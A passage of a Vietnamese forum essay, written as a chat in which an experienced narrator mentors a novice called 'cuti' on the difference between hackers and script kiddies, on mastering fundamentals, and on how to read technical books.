Ngay cả nếu em có định hướng theo ngành bảo mật, em phải nắm rất vững những hệ thống máy em cần bảo vệ hoặc cần 'khai thác'. Một khi em nắm vững những cái này, tự nhiên chuyện 'bảo vệ' hay 'khai thác' (thâm nhập và 'hack') trở nên rõ ràng. Nếu em dành thời gian để mày mò những tiểu xảo nho nhỏ, kết quả sẽ đi về đâu? chẳng đi về đâu cả vì chúng chỉ là những tiểu xảo không hơn, không kém. Cho dù em rành rẽ các tiểu xảo này nhưng khi đặt em vào một môi trường có những thay đổi khác, em sẽ không 'khai thác' được vì em bị thiếu mất căn bản, không nắm vững các nguyên tắc cần thiết."
"cuti" trả lời một cách buồn bã:
"Đúng là trước giờ em phí thời gian quá. Chắc em phải chấn chỉnh lại. Nhưng em có một thắc mắc. Anh nói là 'muốn thâm nhập và hack thì phải nắm vững hệ thống mình cần thâm nhập và hack', điều này có nghĩa là em phải sử dụng các hệ thống này thành thạo?"
Tôi đáp:
"Tất nhiên rồi. Theo anh, 'hacker' là một 'user' có kiến thức rất quảng bác. Không những anh ta (hoặc cô ta) nắm vững cách sử dụng hệ thống (trên bình diện một user) mà còn có khả năng phân tích và thấu hiểu cơ chế làm việc của hệ thống. Nói một cách nôm na, 'user' chỉ cần biết nhấn một nút thì có kết quả gì đó còn 'hacker' thì chẳng những phải biết như thế mà còn biết được hành động nhấn nút ấy đã tạo ra biến cố gì, biến cố này tác động thế nào đến hệ thống, những tác động này tại sao hợp lệ, những tác động này sẽ không được xem là hợp lệ trong những tình trạng nào.... và hơn hết, làm sao để điều chỉnh cho tác động đến nút này luôn luôn hợp lệ (trên quan điểm bảo mật) hoặc điều chỉnh làm sao cho tác động trở nên bất hợp lệ (trên quan điểm khai thác).
Ví dụ ai đó hỏi em 'làm sao dùng NET USE để truy cập vào một máy khác? (một cách hợp lệ hay bất hợp lệ)' thì tất nhiên để có thể trả lời câu này, em phải nắm rất vững cách dùng NET USE, sau đó em phải hiểu rõ NET USE tác động đến hệ thống thế nào và nếu cần dùng NET USE để 'thâm nhập' thì em phải biết xác định điểm yếu của hệ thống từ các tác động này nằm ở đâu. Để làm được việc này, em phải là một 'user' giỏi và thành thạo Windows.
Nếu em chỉ vẽ cho ai đó một dòng lệnh NET USE để thâm nhập vào hệ thống chạy Windows chẳng hạn, nhưng lệnh này không tạo kết quả gì cả. Em phải ước đoán được các lý do làm cho lệnh này không thực hiện được. Như vậy, 'thâm nhập' ở đây chỉ dừng lại ở chỗ gõ dòng lệnh nhưng 'hack' ở đây thì đi xa hơn: hiểu rõ dòng lệnh làm những gì đằng sau đó."
"cuti" gật gù, trả lời với loại ngôn từ rất thịnh hành (với hai chữ "hơi bị" được dùng khá sai lạc về mặt ngữ pháp):
"Anh lấy ví dụ này... hơi bị hay đó. Vậy, một người thuộc dạng 'script kiddie' như người ta thường nhắc đến thì thuộc dạng 'user' hay 'hacker'?"
Tôi mỉm cười, trả lời:
"Dạng 'script kiddie' theo anh là một 'user' nhưng không phải là một 'user' bình thường. 'script kiddie' có thể rành một số tiểu xảo nào đó hơn 'user' bình thường nhưng lại kém kiến thức hơn 'user' bình thường nhiều mặt khác. Chắc chắn 'script kiddie' không phải là 'hacker' vì 'hacker' thật sự là một người không quản ngại khó khăn để tìm cho mình giải đáp, tìm cho mình sự thoả mãn một cách vững chắc thay vì muốn thấy ngay kết quả (mà không chịu khó khổ) như 'script kiddie'. Nói một cách nôm na: 'hacker' tìm ra và thay đổi thái độ làm việc của một nút bấm nào đó, 'script kiddie' chỉ cần bấm nút, chờ kết quả và không cần quan tâm chuyện gì xảy ra sau khi bấm nút."
"cuti" rên rỉ:
"Oái, anh đang chửi xéo em đó phải không? . Sao em thấy em giống 'script kiddie' quá. Chắc em đúng là 'script kiddie' rồi . Hu hu, nhưng làm sao để tránh không trở thành một 'script kiddie' vậy anh?"
Tôi đáp:
"Em hỏi câu này hơi thừa rồi đó. Anh tin rằng qua hai lần chat với nhau, em đã hiểu cần phải làm thế nào để không trở thành một 'script kiddie'. Có lẽ anh không cần phải tổng kết lại hả? Thử rèn luyện khả năng tổng kết đi em . À mà này, lần trước mình có bàn về chuyện đọc sách và rèn luyện kỹ năng tổng kết, em đã thử nghiệm chưa và thấy thế nào?"
"cuti" cười gượng gạo:
"Ùm... em có thử lôi một cuốn e-book ra nghiền ngẫm như chỉ được mấy trang đầu là thấy choáng váng cả mặt mày . Em tự nhủ là để mai xem tiếp nhưng rồi hết chuyện này đến chuyện khác, em vẫn chưa đọc quá ba trang."
Tôi cười phá lên:
"Hà hà, đúng là điển hình rookie . Vậy em đọc cuốn gì mà thấy choáng váng cả mặt mày?"
"cuti" phụng phịu:
"Thì em nghe theo lời anh nói trên diễn đàn HVA là cuốn TCP/IP Illustrated của Richard Stevens là cuốn để đầu giường nên em tóm ngay cuốn đó thôi. Đâu ngờ nó khó nuốt đến như vậy "
Tôi không ngạc nhiên khi "cuti" nhận định như thế, tôi đáp:
"Ừa, đọc những cuốn 'thuần' như cỡ TCP/IP Illustrated của Richard Stevens thì em phải cần một ít kỹ năng và phải thật sự muốn tìm hiểu thì mới tiêu hoá nổi. Còn không thì nó 'khô như rơm' thì làm sao mà nuốt cho vô? Cuốn này của Richard Stevens dùng để bổ túc, đối chiếu và đào sâu những gì em học ở trường thì rất hay, nếu em nhảy ngang vào và cố đọc thì chỉ dẫn đến chuyện chán nản mà thôi. Ở trường em đã đụng đến TCP/IP chưa?"
"cuti" trả lời không ngần ngừ:
"Ở trường hả anh? ở trường có gì mà học? Cái gì cũng đại cương với khái niệm, chán như con gián. Học như vậy biết chừng nào mà thành?"
Tôi mắng "cuti" ngay":
"Em đầy mâu thuẩn. Em xem thường mấy thứ 'đại cương' với 'khái niệm' nhưng không có chúng thì làm sao em có nền tảng để đi sâu hơn? Từ những thứ 'đại cương' và 'khái niệm' này, em có thể tham khảo sách vở, tài liệu và trau dồi cho mình thêm kiến thức. Không những đây là chuyện bổ ích cho bản thân em mà đây cũng là điểm để đo cái khác biệt giữa một sinh viên 'thường thường bậc trung' và một sinh viên 'xuất sắc' đó. Hèm, con đường đi tới chỗ 'cơm no, bò cưỡi' e hơi chông gai đó em!"
"cuti" nhăn nhó:
"Trời, hôm nay đúng là xuất hành không coi ngày hay sao đó. Từ nãy giờ em bị sao quả tạ của anh 'chiếu' liên hồi luôn "
Tôi cười đáp:
"Vậy em muốn 'sao quả tạ' không chiếu chớ gì? dễ ợt thôi mà. Bây giờ mình bàn chuyện 'hack gunbound' hay 'chôm Yahoo password' là hết 'sao quả tạ' "
"cuti" cuốn quýt:
"Không, không, em chỉ đùa tí thôi mà. Thật tình nói chuyện với anh, em thông được nhiều điều lắm. Chỉ có điều 'cái đầu khổ sở' của em nó làm việc chậm như bộ vi xử lý 486 cũ kỹ nên chắc em cần phải có thời gian để từ từ mà 'xử lý'. Nói chuyện với anh, em bị nhiều cú đau đầu lắm á nhưng không hiểu sao nó... hơi bị phê, hì hì."
Tôi cười:
"Lại cái kiểu nói 'hơi bị...' dùng từ gì kỳ cục vậy? 'hơi bị' là dạng thụ động dùng để chỉ cho điều gì đó không được hay mà sao lại đi trước một từ như 'phê', 'hay' vậy? 'hơi bị hay' rồi 'hơi bị phê' nghe nó trái tai làm sao đó!"
"cuti" cười nhanh nhẩu:
"Thôi anh ơi, anh quá cổ lổ sĩ rồi, thời nay mọi người dùng từ kiểu này không anh à. Nhưng mà đừng nói là anh lại chuẩn bị cho em một bài về 'ngữ pháp' đó nha. Hì hì, em bị 'quả tạ' gần trúng thực rồi đây."
Tôi đáp:
"Thôi, anh chỉ nhận xét vậy thôi, dính vô mấy chuyện ngữ pháp tiếng Việt, tiếng Việt trong sáng... coi chừng 'tẩu hoả' dạng khác bây giờ. Thế này, em hiện đang học cái gì ở trường và em nghĩ là hiện thời em thích tham khảo chuyện gì nhất. Có cần e-book hay tài liệu gì, anh cố tìm cho mà đọc. Nhưng quan trọng là phải khởi đầu bằng cái gì đó vừa sức em và đừng 'khô như rơm' thì mới nuốt nổi."
"cuti" trả lời ngay:
"e-book hả anh? em có hàng... tấn. Nghe ở đâu có e-book là em hì hụi down về cho được. Em có chừng 2 gig e-book để mục miễu trong máy á. Có cái em chưa bao giờ ngó qua, có cái xem có vẻ hay hay nhưng có lẽ nội công còn non nớt quá nên chưa bao giờ luyện qua hết tầng một (chương một) của bộ bí kíp nào hết. Anh muốn em đọc cuốn nào, em lục cuốn ấy mà đọc thôi."
Tôi cười một mình, lắc đầu và trả lời "cuti":
"Lại thêm một điển hình khác của 'rookie'. Nghe thấy ở đâu có e-book thì cố mà download về rồi bỏ đó. Anh không thể 'muốn' em đọc cuốn nào mà phải chính em quyết định em 'muốn' đọc cuốn nào. Chuyện quan trọng lúc này là cách làm quen với sách kỹ thuật chớ chưa cần nội dung cao siêu cỡ nào hết. Miễn sao em thích đề tài nào thì chọn một trong mấy cuốn em có mà thử thôi. Cái quan trọng là phải tự kỷ luật, đừng hứa hẹn cho ngày mai. Chắc cũng gần đến giờ anh dzọt rồi. Để khi khác mình tiếp tục vậy hả?"
"cuti" nằn nì:
"Khoan đã anh, cho em hỏi thêm một tí nữa thôi. Anh 'bắt' em đọc sách nhưng anh chẳng chịu cho em một tí 'khẩu quyết' gì để 'đả thông' hết làm sao em nuốt vô cho nổi? . Anh bày em cách đọc và tổng hợp như anh nói đi. Hồi đó đi học, anh có phương pháp gì vậy?"
Tôi chậm rãi đáp:
"Cái thời 'hồi đó' của anh có lẽ khác cái thời 'hồi nay' của em nhiều lắm. Thời đó chưa có cái gọi là 'google', Internet cũng chưa có luôn. Modem thời đó lúc anh mới làm quen computer là 4800 bauds còn sách và tài liệu thì quý như... vàng. Muốn mua một cuốn sách phải tằng tiện cả tháng trời hoặc hơn cho nên có một cuốn sách trong tay là 'nghiến' từng dòng, từng chữ. Bởi hai 'thời' khác nhau quá, anh chỉ có thể góp ý với em thế này:
- sách vở, tài liệu có hai dạng chính: sách giáo khoa và sách tham khảo. Cách đọc và 'tiêu hoá' hai loại này khác nhau.
- sách giáo khoa là để học các kiến thức em gọi là 'đại cương và khái niệm'. Loại sách này em phải học, hiểu và tiếp nhận nó như một thứ kiến thức căn bản và cần thiết.
- sách tham khảo là để đối chiếu, mở rộng, đào sâu những thứ em đã học được từ sách giáo khoa. Các e-book của em có chắc hầu hết là sách tham khảo.
- vậy, để đọc được sách tham khảo em phải có căn bản trước không thì em bị 'bọng' và sẽ thấy 'khó nuốt' bởi vì loại sách này viết với ngầm định là em đã nắm kiến thức căn bản.
Riêng phần 'khẩu quyết' thì đại loại là thế này: để làm quen với việc 'đào sâu', em nên tự đặt cho mình các câu hỏi rồi tìm cách tự trả lời. Nếu em chưa quen 'tự đặt câu hỏi' thì em có thể dùng vô số các câu hỏi được đặt ra xung quanh em. Thời nay diễn đàn CNTT mọc lên như nấm, có bao nhiêu là câu hỏi từ dạng đơn giản nhất đến dạng phức tạp nhất. Em thử chọn một vài câu hỏi rồi hình thành cho mình câu trả lời sao cho đầy đủ nhất, hữu lý nhất. Câu trả lời tìm ở đâu? từ các sách tham khảo em có, từ 'google', từ các search engines.... Ví dụ, ai đó phát biểu một câu như sau: giao thức TCP là một giao thức stateful và UDP là một giao thức stateless. Em thử tìm hiểu xem lý do tại sao câu này được phát biểu như thế? có những lý do nào làm cho TCP thuộc dạng stateful và UDP thuộc dạng stateless? Tham gia sinh hoạt trên một diễn đàn một cách nghiêm túc cũng là một phương pháp hay cho việc 'hỏi' và 'trả lời'. Nếu em cần một câu trả lời thấu đáo cho chính mình thì chính câu trả lời này sẽ là câu trả lời rất giá trị cho người khác."
"cuti" có vẻ không lấy làm hào hứng:
"Chà, xem có vẻ căng đây. Nhưng để em cố xem sao. Đúng là em có cái tật qua quít cho xong nên chẳng có cái gì cho ra cái gì cả. Em biết anh đang truyền đạt cho em một lối suy nghĩ khác? Em thấy con đường 'tu luyện' có vẻ đầy chông gai như anh đã nói. Nhưng em có thắc mắc là làm sao mình có thể nhớ một trăm thứ, một ngàn thứ được?"
Tôi đáp:
"Ừa, chữ 'truyền đạt' hơi quá, anh nghĩ là 'góp ý' thì đúng hơn. Anh đang 'góp ý' em để hình thành cái gọi là nền tảng. Phải có nền tảng rồi thì mới đi tiếp được.
Riêng chuyện nhớ thì em không thể nhớ một trăm, một ngàn thứ ngay lập tức được nhưng nếu em thật sự hiểu một thứ nào đó, nó sẽ vĩnh viễn là của em vì nó đã thuộc về kiến thức của em. Lý do 'cần phải ngọn ngành' cũng đi từ đây ra thôi, nó giúp em 'thật sự hiểu'. Còn chuyện nhớ nhanh, nhớ chậm, nhớ lâu hay nhớ mau thì có phần nào phụ thuộc vào khả năng tự nhiên của mỗi người nhưng không có nghĩa là không thể rèn luyện để nâng cao khả năng này cho mình. Em thử đi rồi lần sau cho anh biết cách em đọc thông tin của một chương ra sao, cách em hiểu nó như thế nào, cách em tóm lược nó (để nhớ) ra làm sao... rồi anh sẽ góp ý cho. Bây giờ anh phải đi, nếu tiện mình sẽ liên lạc sau hả? Chào cuti."
"cuti" không quên hóm hỉnh:
"Chào anh già khó tánh "
Và tôi logoff.
|
|
|
|
|
|
|